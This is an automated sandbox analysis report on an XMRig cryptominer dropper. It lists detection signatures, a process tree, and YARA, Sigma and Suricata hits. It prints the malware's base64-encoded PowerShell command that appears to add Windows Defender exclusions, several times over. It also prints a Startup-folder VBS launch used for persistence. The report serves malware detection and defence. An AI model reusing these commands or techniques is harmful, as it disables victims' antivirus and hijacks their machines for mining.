Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1574031
MD5:	53e3f2baca38239bd6025b9e18e5f202
SHA1:	c8d0d5d1fcce95e253ad60d639f418ab3d98f094
SHA256:	012789b93b6d8186346fd774b7e428a8982c409b59fa845ba196ae89ac6706cb
Tags:	exeuser-Bitsight
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Xmrig cryptocurrency miner

.NET source code contains potential unpacker

AI detected suspicious sample

Drops VBS files to the startup folder

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates driver files

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: AspNetCompiler Execution

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 1536 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 53E3F2BACA38239BD6025B9E18E5F202)

powershell.exe (PID: 6696 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 4308 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

aspnet_compiler.exe (PID: 1012 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe" MD5: DF5419B32657D2896514B6A1D041FE08)

explorer.exe (PID: 6760 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

aspnet_compiler.exe (PID: 5628 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe" MD5: DF5419B32657D2896514B6A1D041FE08)

wscript.exe (PID: 1012 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

WindosCPUsystem.exe (PID: 6600 cmdline: "C:\Users\user\AppData\Roaming\WindosCPUsystem.exe" MD5: 53E3F2BACA38239BD6025B9E18E5F202)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x10c08:$a1: mining.set_target 0x2e30:$a2: XMRIG_HOSTNAME 0x57a8:$a3: Usage: xmrig [OPTIONS] 0x2e08:$a4: XMRIG_VERSION
00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2585182229.0000026B61CA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2235805876.0000026B5ACAE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: file.exe PID: 1536	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: explorer.exe PID: 6760	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 6760	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x62eba:$a1: mining.set_target 0x5f5e2:$a2: XMRIG_HOSTNAME 0x603d4:$a3: Usage: xmrig [OPTIONS] 0x5f5c3:$a4: XMRIG_VERSION
Process Memory Space: WindosCPUsystem.exe PID: 6600	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.26b61ca0000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
6.2.explorer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x36fe08:$a1: mining.set_target 0x362030:$a2: XMRIG_HOSTNAME 0x3649a8:$a3: Usage: xmrig [OPTIONS] 0x362008:$a4: XMRIG_VERSION
6.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3b5561:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
6.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3b5dd8:$s1: %s/%s (Windows NT %lu.%lu 0x3b9400:$s3: \\.\WinRing0_ 0x366fa8:$s4: pool_wallet 0x3613d8:$s5: cryptonight 0x3613e8:$s5: cryptonight 0x3613f8:$s5: cryptonight 0x361408:$s5: cryptonight 0x361420:$s5: cryptonight 0x361430:$s5: cryptonight 0x361440:$s5: cryptonight 0x361458:$s5: cryptonight 0x361468:$s5: cryptonight 0x361480:$s5: cryptonight 0x361498:$s5: cryptonight 0x3614a8:$s5: cryptonight 0x3614b8:$s5: cryptonight 0x3614c8:$s5: cryptonight 0x3614e0:$s5: cryptonight 0x3614f8:$s5: cryptonight 0x361508:$s5: cryptonight 0x361518:$s5: cryptonight
0.2.file.exe.26b5ad72198.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1536, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmA

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 1012, StartAddress: A659BCC0, TargetImage: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe, TargetProcessId: 1012

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1536, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs" , ProcessId: 1012, ProcessName: wscript.exe

Sigma detected: AspNetCompiler Execution

Source: Process started

Author: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1536, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe", ProcessId: 1012, ProcessName: aspnet_compiler.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1536, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmA

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1536, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs" , ProcessId: 1012, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1536, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmA

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 1536, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
